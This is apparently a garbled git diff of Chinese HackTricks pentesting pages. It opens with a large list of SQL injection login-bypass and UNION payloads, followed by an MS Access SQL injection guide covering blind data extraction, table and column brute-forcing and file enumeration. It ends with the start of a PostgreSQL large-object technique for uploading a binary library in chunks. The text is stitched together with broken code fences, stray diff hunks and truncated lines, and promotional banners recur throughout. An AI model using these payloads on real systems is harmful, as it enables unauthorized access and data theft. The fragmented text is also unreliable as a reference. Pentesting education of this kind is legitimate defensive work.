- `'oR'2'LiKE'2'#`
- `'oR'2'LiKE'2'/*`
- `'oR'2'LiKE'2'oR'`
- `'oR(2)LiKE(2)-- 2`
- `'oR(2)LiKE(2)#`
- `'oR(2)LiKE(2)/*`
- `'oR(2)LiKE(2)oR'`
- `"oR"2"LiKE"2`
- `"oR"2"LiKE"2"-- 2`
- `"oR"2"LiKE"2"#`
- `"oR"2"LiKE"2"/*`
- `"oR"2"LiKE"2"oR"`
- `"oR(2)LiKE(2)-- 2`
- `"oR(2)LiKE(2)#`
- `"oR(2)LiKE(2)/*`
- `"oR(2)LiKE(2)oR"`
- `admin`
- `admin'-- 2`
- `admin'#`
- `admin"-- 2`
- `admin"#`
- `ffifdyop`
- `' UniON SElecT 1,2-- 2`
- `' UniON SElecT 1,2,3-- 2`
- `' UniON SElecT 1,2,3,4-- 2`
- `' UniON SElecT 1,2,3,4,5-- 2`
- `' UniON SElecT 1,2#`
- `' UniON SElecT 1,2
0"&lt;"2
')
")
')-- 2
')/*
')#
")-- 2
") #
")/*
')-('
')&('
')^('
')*('
')=('
0')&lt;('2
")-("
")&("
")^("
")*("
")=("
0")&lt;("2
'-''-- 2
'-''#
'-''/*
'&''-- 2
'&''#
'&''/*
'^''-- 2
'^''#
'^''/*
'*''-- 2
'*''#
'*''/*
'=''-- 2
'=''#
'=''/*
0'&lt;'2'-- 2
0'&lt;'2'#
0'&lt;'2'/*
"-""-- 2
"-""#
"-""/*
"&""-- 2
"&""#
"&""/*
"^""-- 2
"^""#
"^""/*
"*""-- 2
"*""#
"*""/*
"=""-- 2
"=""#
"=""/*
0"&lt;"2"-- 2
0"&lt;"2"#
0"&lt;"2"/*
')-''-- 2
')-''#
')-''/*
')&''-- 2
')&''#
')&''/*
')^''-- 2
')^''#
')^''/*
')*''-- 2
')*''#
')*''/*
')=''-- 2
')=''#
')=''/*
0')&lt;'2'-- 2
0')&lt;'2'#
0')&lt;'2'/*
")-""-- 2
")-""#
")-""/*
")&""-- 2
")&""#
")&""/*
")^""-- 2
")^""#
")^""/*
")*""-- 2
")*""#
")*""/*
")=""-- 2
")=""#
")=""/*
0")&lt;"2-- 2
0")&lt;"2#
0")&lt;"2/*
'oR'2
'oR'2'-- 2
'oR'2'#
'oR'2'/*
'oR'2'oR'
'oR(2)-- 2
'oR(2)#
'oR(2)/*
'oR(2)oR'
'oR 2-- 2
'oR 2#
'oR 2/*
'oR 2 oR'
'oR/**/2-- 2
'oR/**/2#
'oR/**/2/*
'oR/**/2/**/oR'
"oR"2
"oR"2"-- 2
"oR"2"#
"oR"2"/*
"oR"2"oR"
"oR(2)-- 2
"oR(2)#
"oR(2)/*
"oR(2)oR"
"oR 2-- 2
"oR 2#
"oR 2/*
"oR 2 oR"
"oR/**/2-- 2
"oR/**/2#
"oR/**/2/*
"oR/**/2/**/oR"
'oR'2'='2
'oR'2'='2'oR'
'oR'2'='2'-- 2
'oR'2'='2'#
'oR'2'='2'/*
'oR 2=2-- 2
'oR 2=2#
'oR 2=2/*
'oR 2=2 oR'
'oR/**/2=2-- 2
'oR/**/2=2#
'oR/**/2=2/*
'oR/**/2=2/**/oR'
'oR(2)=2-- 2
'oR(2)=2#
'oR(2)=2/*
'oR(2)=(2)oR'
'oR'2'='2' LimIT 1-- 2
'oR'2'='2' LimIT 1#
'oR'2'='2' LimIT 1/*
'oR(2)=(2)LimIT(1)-- 2
'oR(2)=(2)LimIT(1)#
'oR(2)=(2)LimIT(1)/*
"oR"2"="2
"oR"2"="2"oR"
"oR"2"="2"-- 2
"oR"2"="2"#
"oR"2"="2"/*
"oR 2=2-- 2
"oR 2=2#
"oR 2=2/*
"oR 2=2 oR"
"oR/**/2=2-- 2
"oR/**/2=2#
"oR/**/2=2/*
"oR/**/2=2/**/oR"
"oR(2)=2-- 2
"oR(2)=2#
"oR(2)=2/*
"oR(2)=(2)oR"
"oR"2"="2" LimIT 1-- 2
"oR"2"="2" LimIT 1#
"oR"2"="2" LimIT 1/*
"oR(2)=(2)LimIT(1)-- 2
"oR(2)=(2)LimIT(1)#
"oR(2)=(2)LimIT(1)/*
'oR true-- 2
'oR true#
'oR true/*
'oR true oR'
'oR(true)-- 2
'oR(true)#
'oR(true)/*
'oR(true)oR'
'oR/**/true-- 2
'oR/**/true#
'oR/**/true/*
'oR/**/true/**/oR'
"oR true-- 2
"oR true#
"oR true/*
"oR true oR"
"oR(true)-- 2
"oR(true)#
"oR(true)/*
"oR(true)oR"
"oR/**/true-- 2
"oR/**/true#
"oR/**/true/*
"oR/**/true/**/oR"
'oR'2'LiKE'2
'oR'2'LiKE'2'-- 2
'oR'2'LiKE'2'#
'oR'2'LiKE'2'/*
'oR'2'LiKE'2'oR'
'oR(2)LiKE(2)-- 2
'oR(2)LiKE(2)#
'oR(2)LiKE(2)/*
'oR(2)LiKE(2)oR'
"oR"2"LiKE"2
"oR"2"LiKE"2"-- 2
"oR"2"LiKE"2"#
"oR"2"LiKE"2"/*
"oR"2"LiKE"2"oR"
"oR(2)LiKE(2)-- 2
"oR(2)LiKE(2)#
"oR(2)LiKE(2)/*
"oR(2)LiKE(2)oR"
admin
admin'-- 2
admin'#
admin"-- 2
admin"#
ffifdyop
' UniON SElecT 1,2-- 2
' UniON SElecT 1,2,3-- 2
' UniON SElecT 1,2,3,4-- 2
' UniON SElecT 1,2,3,4,5-- 2
' UniON SElecT 1,2#
' UniON SElecT 1,2,3#
' UniON SElecT 1,2,3,4#
' UniON SElecT 1,2,3,4,5#
'UniON(SElecT(1),2)-- 2
'UniON(SElecT(1),2,3)-- 2
'UniON(SElecT(1),2,3,4)-- 2
'UniON(SElecT(1),2,3,4,5)-- 2
'UniON(SElecT(1),2)#
@ -656,7 +657,6 @@ admin' and substring(password/text(),1,1)='7
")oR(true)oR("
")oR/**/true-- 2
")oR/**/true#
```markdown
")oR/**/true/*
")oR/**/true/**/oR("
')oR'2'LiKE('2
@ -710,6 +710,10 @@ admin")#
")UniON(SElecT(1),2,3)-- 2
")UniON(SElecT(1),2,3,4)-- 2
")UniON(SElecT(1),2,3,4,5)-- 2
")UniON(SElecT(1),2)#
")UniON(SElecT(1),2,3)#
")UniON(SElecT(1),2,3,4)#
")UniON(SElecT(1),2,3,4,5)#
')||('2
')||2-- 2
')||'2'||('
@ -765,6 +769,7 @@ admin")#
")||(2)LiKE(2)-- 2
")||(2)LiKE(2)#
")||(2)LiKE(2)/*
")||(2)LiKE(2)||("
' UnION SELeCT 1,2`
' UnION SELeCT 1,2,3`
' UnION SELeCT 1,2,3,4`
@ -788,43 +793,6 @@ Pass1234." AND 1=0 UniON SeleCT "admin", "fe1ff105bf807478a217ad4e378dc658
Pass1234." AND 1=0 UniON SeleCT "admin", "fe1ff105bf807478a217ad4e378dc658"#
Pass1234." AND 1=0 UniON ALL SeleCT "admin", md5("Pass1234.
Pass1234." AND 1=0 UniON ALL SeleCT "admin", md5("Pass1234.")#
```
```html
<p>")oR/**/true/*</p>
<p>")oR/**/true/**/oR("</p>
<p>')oR'2'LiKE('2</p>
<p>')oR'2'LiKE'2'-- 2</p>
<p>')oR'2'LiKE'2'#</p>
<p>')oR'2'LiKE'2'/*</p>
<p>')oR'2'LiKE'2'oR('</p>
<p>')oR(2)LiKE(2)-- 2</p>
<p>')oR(2)LiKE(2)#</p>
<p>')oR(2)LiKE(2)/*</p>
<p>')oR(2)LiKE(2)oR('</p>
<p>")oR"2"LiKE("2</p>
<p>")oR"2"LiKE"2"-- 2</p>
<p>")oR"2"LiKE"2"#</p>
<p>")oR"2"LiKE"2"/*</p>
<p>")oR"2"LiKE"2"oR("</p>
<p>")oR(2)LiKE(2)-- 2</p>
<p>")oR(2)LiKE(2)#</p>
<p>")oR(2)LiKE(2)/*</p>
<p>")oR(2)LiKE(2)oR("</p>
<p>admin')-- 2</p>
<p>admin')#</p>
<p>admin')/*</p>
<p>admin")-- 2</p>
<p>admin")#</p>
<p>') UniON SElecT 1,2-- 2</p>
<p>') UniON SElecT 1,2,3-- 2</p>
<p>') UniON SElecT 1,2,3,4-- 2</p>
<p>') UniON SElecT 1,2,3,4,5-- 2</p>
<p>') UniON SElecT 1,2#</p>
<p>') UniON SElecT 1,2,3#</p>
<p>') UniON SElecT 1,2,3,4#</p>
<p>') UniON SElecT 1,2,3,4,5#</p>
<p>')UniON(SElecT(1),2)-- 2</p>
<p
Pass1234." AND 1=0 UniON SeleCT "admin", "5b19a9e947ca0fee49995f2a8b359e1392adbb61
Pass1234." AND 1=0 UniON SeleCT "admin", "5b19a9e947ca0fee49995f2a8b359e1392adbb61"#
Pass1234." and 1=0 union select "admin",sha("Pass1234.
@ -856,16 +824,14 @@ Pass1234." and 1=0 union select "admin",sha("Pass1234.")#
```
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks云 ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 推特 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
<summary><strong>从零到英雄学习AWS黑客攻击技巧</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong></strong></summary>
- 你在一家**网络安全公司**工作吗你想在HackTricks中看到你的**公司广告**吗?或者你想获得**PEASS的最新版本或下载HackTricks的PDF**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)
支持HackTricks的其他方式
- 发现我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
- 获得[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
- **加入** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram群组**](https://t.me/peass) 或 **关注**我在**Twitter**上的[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
- **通过向[hacktricks repo](https://github.com/carlospolop/hacktricks)和[hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)提交PR来分享你的黑客技巧**
* 如果您想在**HackTricks中看到您的公司广告**或**下载HackTricks的PDF**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)
* 获取[**官方PEASS & HackTricks商品**](https://peass.creator-spring.com)
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家的[**NFTs系列**](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram群组**](https://t.me/peass) 或在 **Twitter** 🐦 上**关注**我 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
</details>

File diff suppressed because one or more lines are too long

View file

@ -1,108 +1,106 @@
# MS Access SQL注入
# MS Access SQL 注入
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks云 ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
<summary><strong>从零开始学习 AWS 黑客技术,成为</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS 红队专家)</strong></a><strong></strong></summary>
- 你在一家**网络安全公司**工作吗你想在HackTricks中看到你的**公司广告**吗?或者你想获得**PEASS的最新版本或下载PDF格式的HackTricks**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)
支持 HackTricks 的其他方式:
- 发现我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
- 获取[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
- **加入** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram群组**](https://t.me/peass) 或 **关注**我在**Twitter**上的[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
- **通过向[hacktricks仓库](https://github.com/carlospolop/hacktricks)和[hacktricks-cloud仓库](https://github.com/carlospolop/hacktricks-cloud)提交PR来分享你的黑客技巧。**
* 如果您希望在 **HackTricks 中看到您的公司广告****下载 HackTricks 的 PDF**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)
* 获取 [**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
* 发现 [**PEASS 家族**](https://opensea.io/collection/the-peass-family),我们独家的 [**NFTs 集合**](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram 群组**](https://t.me/peass) 或在 **Twitter** 🐦 上**关注**我 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来**分享您的黑客技巧**。
</details>
## 在线游乐
## 在线实验
* [https://www.w3schools.com/sql/trysql.asp?filename=trysql\_func\_ms\_format\&ss=-1](https://www.w3schools.com/sql/trysql.asp?filename=trysql\_func\_ms\_format\&ss=-1)
## 数据库限制
### 字符串
### 字符串
可以使用`& (%26)`和`+ (%2b)`字符进行字符串拼接
字符串连接可以使用 `& (%26)` `+ (%2b)` 字符。
```sql
1' UNION SELECT 'web' %2b 'app' FROM table%00
1' UNION SELECT 'web' %26 'app' FROM table%00
```
### 注释
### 评论
在MS Access中没有注释但显然可以使用NULL字符删除查询的最后一个字符
MS Access中没有注释但显然可以使用一个NULL字符来移除查询的最后部分
```sql
1' union select 1,2 from table%00
```
如果这个方法不起作用,你可以尝试修复查询语句的语法:
如果这不起作用,您可以随时修正查询的语法:
```sql
1' UNION SELECT 1,2 FROM table WHERE ''='
```
### 堆叠查询
不支持堆叠查询
不支持。
### LIMIT
**`LIMIT`** 操作符 **未实现**。然而,可以使用 `TOP` 操作符将 SELECT 查询结果限制为前 N 行。`TOP` 接受一个整数作为参数,表示要返回的行数。
**`LIMIT`** 操作符**未实现**。然而,可以使用 `TOP` 操作符将 SELECT 查询结果限制为**前 N 行表数据**。`TOP` 接受一个整数作为参数,表示要返回的行数。
```sql
1' UNION SELECT TOP 3 attr FROM table%00
```
就像TOP一样你可以使用**`LAST`**来获取**从末尾开始的行**。
就像 **`TOP`** 一样,你可以使用 **`LAST`** 来获取**从末尾开始的行**。
## UNION查询/子查询
## UNION 查询/子查询
SQL注入中通常需要执行新的查询来从其他表中提取信息。MS Access始终要求在**子查询或额外查询中指定`FROM`**。\
因此,如果你想执行`UNION SELECT`、`UNION ALL SELECT`或在条件中使用括号的`SELECT`,你总是**需要指定一个带有有效表名的`FROM`**。\
SQLi 中你通常会想要以某种方式执行新的查询以从其他表中提取信息。MS Access 总是要求在**子查询或额外查询中指明 `FROM`**。\
因此,如果你想执行 `UNION SELECT`、`UNION ALL SELECT` 或在条件中带括号的 `SELECT`,你总是**需要指明一个带有有效表名的 `FROM`**。\
因此,你需要知道一个**有效的表名**。
```sql
-1' UNION SELECT username,password from users%00
```
### 链接等 + 子字符串
### 链接等 + 子字符串
{% hint style="warning" %}
这将允许在不需要知道表名的情况下提取当前表的值。
这将允许在不需要知道表名的情况下提取当前表的值。
{% endhint %}
**MS Access** 允许使用奇怪的语法,例如 **`'1'=2='3'='asd'=false`**。通常情况下SQL注入将位于 **`WHERE`** 子句中,我们可以利用这一点。
**MS Access** 允许使用 **`'1'=2='3'='asd'=false`** 这样的**奇怪语法**。通常 SQL 注入会在 **`WHERE`** 子句中,我们可以利用这一点。
假设您在 MS Access 数据库中有一个 SQLi并且您知道或猜测一个**列名为 username**,这是您想要**提取**的字段。您可以通过使用 **`Mid`** 函数来获取子字符串,检查 Web 应用程序在使用链接等号技术时的不同响应,并可能通过**布尔注入**来提取内容
假设你在 MS Access 数据库中发现了一个 SQLi并且你知道或猜测一个**列名是 username**,这就是你想要**提取**的字段。你可以通过使用链接等于技术检查 web 应用程序的不同响应,并且可能使用 **`Mid`** 函数通过**布尔注入**来提取内容,以获取子字符串
```sql
'=(Mid(username,1,3)='adm')='
```
如果你知道要转储的**表名**和**列名**,你可以使用`Mid`、`LAST`和`TOP`的组合来通过布尔型SQL注入**泄露所有信息**
如果您知道要转储的**表名**和**列名**,您可以使用 `Mid`、`LAST` 和 `TOP` 的组合通过布尔 SQLi **泄露所有信息**
```sql
'=(Mid((select last(useranme) from (select top 1 username from usernames)),1,3)='Alf')='
```
_请随意在在线游乐场中检查此内容。_
_Feel free to check this in the online playground._
### 暴力破解表名
### 穷举表名
使用链式等号技术,您还可以使用以下方式**暴力破解表名**
使用链式等于技术,你也可以**穷举表名**,方法如下
```sql
'=(select+top+1+'lala'+from+<table_name>)='
```
可以使用更传统的方法:
可以使用更传统的方法:
```sql
-1' AND (SELECT TOP 1 <table_name>)%00
```
_请随意在在线游乐场中检查此内容。_
请随意在在线环境中检查。
* Sqlmap常见表名[https://github.com/sqlmapproject/sqlmap/blob/master/data/txt/common-tables.txt](https://github.com/sqlmapproject/sqlmap/blob/master/data/txt/common-tables.txt)
* 还有另一个列表在[http://nibblesec.org/files/MSAccessSQLi/MSAccessSQLi.html](http://nibblesec.org/files/MSAccessSQLi/MSAccessSQLi.html)
* Sqlmap 常见表名:[https://github.com/sqlmapproject/sqlmap/blob/master/data/txt/common-tables.txt](https://github.com/sqlmapproject/sqlmap/blob/master/data/txt/common-tables.txt)
* 还有另一个列表在 [http://nibblesec.org/files/MSAccessSQLi/MSAccessSQLi.html](http://nibblesec.org/files/MSAccessSQLi/MSAccessSQLi.html)
### 暴力破解列名
您可以使用等于链接技巧来**暴力破解当前列名**
您可以使用链式等号技巧来**暴力破解当前列名**
```sql
'=column_name='
```
使用 **group by**
或使用**group by**
```sql
-1' GROUP BY column_name%00
```
或者你可以使用以下方法对**不同表**的列名进行暴力破解
或者您可以使用以下方法暴力破解**不同表**的列名
```sql
'=(SELECT TOP 1 column_name FROM valid_table_name)='
@ -110,28 +108,26 @@ _请随意在在线游乐场中检查此内容。_
```
### 导出数据
我们已经讨论了[**链接等于技术**](ms-access-sql-injection.md#chaining-equals-+-substring) **来从当前表和其他表中导出数据**。但还有其他方法:
我们已经讨论了[**链式等于技术**](ms-access-sql-injection.md#chaining-equals-+-substring) **用于从当前和其他表中导出数据**。但还有其他方法:
```sql
IIF((select mid(last(username),1,1) from (select top 10 username from users))='a',0,'ko')
```
简而言之该查询使用“if-then”语句来触发成功时的“200 OK”或否则触发“500 Internal Error”。利用TOP 10运算符可以选择前十个结果。随后使用LAST只考虑第十个元组。在该值上使用MID运算符可以进行简单的字符比较。通过适当更改MID和TOP的索引我们可以获取所有行的“username”字段的内容。
### 基于时间
### 基于时间的注入
参考[https://docs.microsoft.com/en-us/previous-versions/tn-archive/cc512676(v=technet.10)?redirectedfrom=MSDN](https://docs.microsoft.com/en-us/previous-versions/tn-archive/cc512676\(v=technet.10\)?redirectedfrom=MSDN)
查看 [https://docs.microsoft.com/en-us/previous-versions/tn-archive/cc512676(v=technet.10)?redirectedfrom=MSDN](https://docs.microsoft.com/en-us/previous-versions/tn-archive/cc512676\(v=technet.10\)?redirectedfrom=MSDN)
### 其他有趣的函数
* `Mid('admin',1,1)` 从位置1开始获取长度为1的子字符串初始位置为1
* `LEN('1234')` 获取字符串长度
* `ASC('A')` 获取字符的ASCII
* `CHR(65)` 根据ASCII值获取字符串
* `IIF(1=1,'a','b')` if then
* `COUNT(*)`项目数量
* `LEN('1234')` 获取字符串长度
* `ASC('A')` 获取字符的ascii
* `CHR(65)` 从ascii值获取字符串
* `IIF(1=1,'a','b')` 如果然后
* `COUNT(*)`项目数量
## 枚举表
## 枚举表
从[**这里**](https://dataedo.com/kb/query/access/list-of-tables-in-the-database)可以看到一个获取表名的查询:
[**这里**](https://dataedo.com/kb/query/access/list-of-tables-in-the-database) 你可以看到一个查询数据库中表格名称的查询:
```sql
select MSysObjects.name
from MSysObjects
@ -141,39 +137,40 @@ and MSysObjects.name not like '~*'
and MSysObjects.name not like 'MSys*'
order by MSysObjects.name
```
然而,请注意,通常会发现**无法访问读取表`MSysObjects`**的SQL注入。
```markdown
但请注意,通常会遇到**无法访问`MSysObjects`表**的SQL注入情况。
## 文件系统访问
### Web根目录完整路径
了解**Web根目录的绝对路径可能有助于进一步的攻击**。如果应用程序错误没有完全隐藏,可以尝试从不存在的数据库中选择数据来揭示目录路径。
了解**web根目录的绝对路径可能有助于进一步的攻击**。如果应用程序错误没有完全隐藏,可以通过尝试从一个不存在的数据库中选择数据来发现目录路径。
`http://localhost/script.asp?id=1'+'+UNION+SELECT+1+FROM+FakeDB.FakeTable%00`
MS Access会返回一个**包含Web目录完整路径名的错误消息**。
MS Access会响应一个**包含web目录完整路径的错误信息**。
### 文件枚举
以下攻击向量可用于**推断远程文件系统上文件的存在**。如果指定的文件存在MS Access会触发一个错误消息,通知数据库格式无效:
以下攻击向量可用于**推断远程文件系统上文件的存在**。如果指定的文件存在MS Access会触发一个错误信息,告知数据库格式无效:
`http://localhost/script.asp?id=1'+UNION+SELECT+name+FROM+msysobjects+IN+'\boot.ini'%00`
另一种枚举文件的方法是**指定一个数据库.表项**。**如果**指定的**文件存在**MS Access会显示一个**数据库格式错误消息**。
另一种枚举文件的方法是**指定一个database.table项**。**如果**指定的**文件存在**MS Access会显示一个**数据库格式错误信息**。
`http://localhost/script.asp?id=1'+UNION+SELECT+1+FROM+C:\boot.ini.TableName%00`
### .mdb文件名猜测
可以使用以下查询推断**数据库文件名(.mdb**
可以使用以下查询来推断**数据库文件名(.mdb)**
`http://localhost/script.asp?id=1'+UNION+SELECT+1+FROM+name[i].realTable%00`
其中**name\[i]是.mdb文件名****realTable是数据库中的一个存在的表**。虽然MS Access总是会触发一个错误消息,但可以区分无效的文件名和有效的.mdb文件名。
其中**name\[i]是.mdb文件名**而**realTable是数据库中存在的表**。尽管MS Access总是会触发一个错误信息,但可以区分无效的文件名和有效的.mdb文件名。
### .mdb密码破解
### .mdb密码破解
[**Access PassView**](https://www.nirsoft.net/utils/accesspv.html)是一个免费工具可用于恢复Microsoft Access 95/97/2000/XP或Jet Database Engine 3.0/4.0的主数据库密码。
[**Access PassView**](https://www.nirsoft.net/utils/accesspv.html)是一个免费工具可用于恢复Microsoft Access 95/97/2000/XP或Jet数据库引擎3.0/4.0的主数据库密码。
## 参考资料
@ -181,16 +178,15 @@ MS Access会返回一个**包含Web目录完整路径名的错误消息**。
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
<summary><strong>通过</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>从零到英雄学习AWS黑客攻击</strong></summary>
- 您在**网络安全公司**工作吗您想在HackTricks中看到您的**公司广告**吗或者您想获得最新版本的PEASS或下载PDF格式的HackTricks吗请查看[**订阅计划**](https://github.com/sponsors/carlospolop)
支持HackTricks的其他方式
- 发现我们的独家[NFTs](https://opensea.io/collection/the-peass-family)收藏品[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
- 获取[**官方PEASS和HackTricks衣物**](https://peass.creator-spring.com)
- **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**电报群组**](https://t.me/peass),或在**Twitter**上**关注**我[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
- **通过向[hacktricks repo](https://github.com/carlospolop/hacktricks)和[hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)提交PR来分享您的黑客技巧**
* 如果您希望在**HackTricks中看到您的公司广告**或**下载HackTricks的PDF**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)
* 获取[**官方PEASS & HackTricks商品**](https://peass.creator-spring.com)
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家的[**NFTs系列**](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**telegram群组**](https://t.me/peass)或在**Twitter** 🐦 上**关注**我 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。**
</details>
```

View file

@ -1,117 +1,115 @@
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks云 ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 推特 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
<summary><strong>零基础学习AWS黑客技术成为高手</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong></strong></summary>
- 你在一家**网络安全公司**工作吗你想在HackTricks中看到你的**公司广告**吗?或者你想获得**PEASS的最新版本或下载PDF格式的HackTricks**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)
支持HackTricks的其他方式
- 发现我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
- 获得[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
- **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**电报群组**](https://t.me/peass),或者**关注**我在**Twitter**上的[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
- **通过向[hacktricks repo](https://github.com/carlospolop/hacktricks)和[hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)提交PR来分享你的黑客技巧**
* 如果您想在**HackTricks中看到您的公司广告**或**下载HackTricks的PDF版本**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)
* 获取[**官方PEASS & HackTricks商品**](https://peass.creator-spring.com)
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家的[**NFTs系列**](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram群组**](https://t.me/peass) 或在 **Twitter** 🐦 上**关注**我 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来**分享您的黑客技巧**。
</details>
# PostgreSQL大型对象
PostgreSQL提供了一种称为**大型对象large object**的结构用于存储难以完整处理的数据如图像或PDF文档。与`COPY TO`函数相反,**大型对象**的优势在于它们所持有的**数据**可以作为**原始导入文件的完全副本**导出回**文件系统**。
PostgreSQL公开了一个称为**大型对象**`pg_largeobject`表的结构用于存储难以完整处理的数据如图像或PDF文档。与`COPY TO`功能相比,**大型对象**的优势在于它们**持有的数据**可以**导出回文件系统**,作为**原始导入文件的完整副本**。
为了将**完整文件保存在此表中**,您首先需要在上述表中**创建一个对象**(由**LOID**标识),然后在此对象中**插入2KB的块**。非常重要的是,所有的**块都有2KB**(除了可能的最后一个)**或者**导出到文件系统的**函数将无法工作**。
为了**在此表中保存完整文件**,您首先需要在提到的表中**创建一个对象**(由**LOID**标识),然后**插入2KB的数据块**到这个对象中。非常重要的是所有的**数据块都是2KB**(可能除了最后一个)**或者**导出到文件系统的**功能将无法工作**。
为了将您的**二进制文件**拆分为**2KB大小的块**,您可以执行以下操作
为了将您的**二进制数据**分割成**2KB大小的数据块**,您可以执行
```bash
split -b 2048 pg_exec.so #This will create files of size 2KB
```
为了将创建的每个文件编码为Base64或Hex您可以使用以下方法
为了将每个创建的文件编码为Base64或Hex您可以使用
```bash
base64 -w 0 <Chunk_file> #Encoded in 1 line
xxd -ps -c 99999999999 <Chunk_file> #Encoded in 1 line
```
{% hint style="info" %}
在利用此漏洞时,请记住您必须发送**2KB明文字节的块**而不是2KB的base64或十六进制编码字节。如果您尝试自动化此过程则**十六进制编码**文件的大小是**两倍**因此您需要为每个块发送4KB的编码数据而**base64**编码文件的大小为`ceil(n / 3) * 4`。
